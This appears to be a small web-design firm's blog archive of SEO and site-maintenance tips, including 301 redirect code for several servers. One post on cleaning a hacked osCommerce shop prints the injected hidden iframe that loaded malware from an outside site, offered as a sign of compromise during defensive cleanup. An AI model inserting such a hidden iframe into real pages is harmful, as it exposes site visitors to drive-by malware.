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Now this is a subject that can be a little bit contentious among the webmaster community as there are various opinions as to whether there is any SEO benefit to using keyword rich pagenames or ones which at least describe the target page.

For example a url might be:
www.mysite.com/index.php?product_id=25
or it could be
www.mysite.com/8mm-widget.html (for example)

(we aren’t going to get into url rewrites here this is just by way of example)

the pages could equally be:

www.mysite.com/page1.html
and
www.mysite.com/web-design-services.html

I’m not stating for a minute that the search engines take any account of the words in the page name as part of their ranking allgorithms let me make that clear.

The reasons that I suggest the use of keyword rich pagenames is that they are easy for people to read (most search engines show the target url at the bottom of the website listing) and can reinforce the search keywords/phrases as they are shown on page and also highlighted (at the time of writing Google certainly does this).

The SEO reason for using keyword rich page names is that very often when people create links to other pages (i.e people linking to pages on your website) they use the pagename as the anchor text – i.e the link shows as:

www.mysite.com/web-design-services.html

therefore your target keywords end up in an external link to you which can all help build up the relevance of your page for those target keywords.

We promised yesterday that we’d post how to perform a 301 redirect if you do not have mod-rewrite enabled or the ability to add a .htaccess file or if you are using a windows server.

To perform a correct 301 permanent redirect the User Agent visiting the webpage (maybe a web browser or search engine spider) must be gieven the correct http status code in the header that it receives when it requests the page.

In PHP we can perform the function like this by adding the following code to the top of the webpages of the old site:

<?php
Header( “HTTP/1.1 301 Moved Permanently” );
Header( “Location: http://www.website-2.com” );
?>

* note that you’ll need to do this for each page that you want to redirect

On a windows server you can redirect the whole site or a subfolder from the IIS management snapin:
Right click on the website in the management console tree and choose properties
From there select the home directory tab.

At the top of the tab is should show a message worded like:
‘When connecting to this resource, the content should come from:’
Select the final of the three radio buttons ‘A redirection to a URL’
Under this put the URL in the input field marked ‘Redirect to:
Then check the final checkbox ‘A permanent redirection for this resource’.
Finally click on apply / ok – job done.

Of course you very possibly won’t have this level of access on a windows hosting server in which case you can perform the redirect using ASP.

In the top of each ASP you would need to add:
<%
Response.Status=”301 Moved Permanentlly”
Response.AddHeader “Location”,”http://www.website-2.com/newpage.asp”
%>

Yesterday we wrote a blog entry on the best way to move to a new site and explained that the best way was using a 301 redirect.
We’ve since been asked how you do that so here goes.

If you are using apache for your webserver then the best way is using a .htaccess file in the root of your old website.

In the case below we are moving the website from website 1 to website 2 – the entries for website 1 are relative while the redirect to website 2 must include the full domain in order to work.

Our files on website 2 are named the same as they were on website 1, the website files must remain in place in website 1 for this to work – our .htaccess entries are below:

RewriteEngine on
Redirect 301 /index.html http://www.website2.com/
Redirect 301 /links.html http://www.website2.com/links.html
Redirect 301 /about-us.html http://www.website2.com/about-us.html
Redirect 301 /testimonials.html http://www.website2.com/testimonials.html

and so on – we can see here that the pages are being redirected to the counterpart pages on the new website.

In the example above we have used the same pages names on the new website this does not have to be the case – we could for example use:

Redirect 301 /about-us.html http://www.website2.com/old-business.html

or we could redirect into a sub directory of the new site and so on.

If you are not able to use a .htaccess file then the same can be achieved using php.
If you are using a windows server then .htaccess file will not work.

We’ll explain in another post how to redirect and send a correct 301 header using php or on a windows server.

We get asked a lot about keywords when building websites and there seems to be quite a lot of confusion regarding them so we thought we’d write something here.

The opinions range from that you should stuff hundreds of keywords and phrases into your meta keywords to not using them at all because they make no difference and you could get penalised.

Once upon a time keywords were exploited shamelessly and many websites did (and still can do) become penalised for keyword stuffing thus generally the search engines now take less to no notice of them as ranking factors.

However, their judicious use is asked for by accessibility guidelines so the keywords tag should be used.

Making sure that you do not have a huge string of keywords duplicated on every page of your site can also help the search engines figure that smiliar pages are not duplicate content.

We use them very sparingly, always make sure the keywords meta tag is populated but only with relevant thematic keywords that appear in the body text of the webpage and that seems to work well.

Sometimes you may find that your business outgrows your website or there may be another reason to move like a change of business name or just a rebranding.

If you are moving your website to a new domain then there are some important steps that you should follow to ensure the switchover is as painless as possible for you, your customers, and the search engines.

You’ll need to keep your old website up and running for some time after the switchover so don’t just turn it off as this will cause problems if the pages suddenly no longer exist.

You’ll need to perform a 301 redirect (permanent redirect) from your old webpages to your new ones.
Your old webpages will still exist on the old website but nobody will be able to visit them as they’ll be automtically redirected to your new site and it’s new pages.

If the pages on your new website cover the same areas as the old site then you should redirect each of the old pages individualy to the new pages (this is why the old website and all of the old pages must remain active) otherwise when people follow old links to your site or old page info in the search engines they will not go to a 404 not found page on your new website.

Redirecting will make the indexing of your new site by the search engines much more efficient. If you do not redirect then all of your old website pages must wait to fall out of the searche engines (can take months) and then for your new ones to be indexed and then ranked.

With a 301 redirect they just supersede the old pages naturally and you still get the link power from the original pages.

After this you should log into your Google webmaster tools account and verify the new website and then request a redirect through the control panel. This isn’t absolutely necessary but Google recommend it and its easy to do.

Then you just wait for the new website to take over from the old one. After 6 months you can then remove the old website.

A few days ago we had someone get in touch as their OS Commerce implementation had been hacked into and their shop had been compromised by a malware distributor.

The shop owner had been alerted by Google Adwords who suspended their account until they got it sorted.

What this particular hack does is creates an invisible iframe in your pages which links through to anohter site without the person browsing the website knowing – the new invisible window then tries to download bad programs onto their computer.

The giveaway with this exploit is to view the page source and if there is the following code: 

<iframe src=”http://www.vcp-counter.com/unique/index.php” width=0 height=0 frameborder=0></iframe>
then your site has been hacked.

In this case the hackers got into the admin area as the admin directory was not password protected (should be protected by htaccess), they then uploaded some php files into the images directory which allowed them to go through the site and also gave them access to the mysql database running the e-commerce shop.

Having access to the database they then added the above iframe code to every category and product description in the shop.

What we did to clean it out:

• Downloaded all site files,  scanned and cleansed
• Removed all of the files the hackers had added
• Scanned the database for the ‘iframe’ code and removed – in this case it was in every ‘description’ field in the products_description and categories_description tables in the database – we removed the iframe links from the descriptions
• Renamed the admin area so that it was not admin any more
• Changed the ftp password on the server – removed ftp access and secured the site so it can only be accessed by sftp (secure ftp)
• Changed the database username and password to something different
• Password protected the new admin area

  After this the site owner was able to restart their adwords campaign and start selling again.

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Here’s a tip which is pretty much a bugbear of mine as you see it all over the web.

Links that look like this:

for more info on blue widgets click here

Every time someone does this they are missing an opportunity to get some keyword rich anchor text pointing at their page and into the search engines (every little helps).

Much better would be:

Find out more about blue widgets. (for example)
Not only are you helping make your target page more relevant to the keyphrase ‘blue widgets’  but it also helps on the accessibility side of things where people using screen readers may have the link text played to them audibly in order to tell them what the link is about.

Always use your linking text to reinforce the content of your webpage and help the search engines work out what the page is about and rank it more highly…

Essentially there are 2 types of Search Engine Optimisation:

1. on-page / on site SEO

2. off-site SEO

On page concentrates on the text within the webpage/website, the various tags and elements etc within the webpage that we can use to let the search engines know what the page is about.  On site SEO covers things like site architecture, internal linking structure, internal anchor text (what wordage you use in your links), page titles, headings, descriptions and keywords etc.

Off-site SEO is about getting relevant links to your web pages from respected resources to reinforce your on-page / on-site factors.

In essence off-site SEO is about getting other websites to recommend your website as a trusted resource on a particular subject by linking to it.
It is the word-of-mouth that increases the popularity of your offering.  In other words – you create relevant meaningful content and then other people tell the search engines how good it is.

The on page / on site factors are easily controlled by the website owner and therefore generally not weighted as highly as ranking factors as the external off-site factors (although the weightings do shift all of the time).

So, in order to rank as well as possible a good SEO effort will optimise the on-page and on-site factors and then go about building links into the site to create some link-popularity.

Our first post on SEO and we thought we’d start off right at the beginning.  When we speak to clients and website owners we find quite often that they don’t really understand what SEO is – here’s our own (very simplified) explanation of SEO and what it’s purpose is.

In a nutshell:  SEO is a way of describing to search engines exactly what an individual web page is about, why the content on that web page is so unique and special and deserves to be ranked highly in the results pages.

It is to help the search engines understand the content and context of your page and convince them that it is a valuable resource on the subject.

In practice with SEO what we do is focus the subject matter of the page and use all available elements / tags and SEO techniques to reinforce the context and to give the page an air of authority on the subject – so when someone searches on a particular subject / product / matter the search engine brings up our web page as a highly relevant and regarded resource.

Hi,
  and welcome to the webcentric web design blog.  This is a brand-new endeavour but over the coming months we will be posting lots of useful tidbits on SEO and general web design issues. 

We’ll attempt to make these as jargon-free and easily understandable as possible, starting right from basic principles.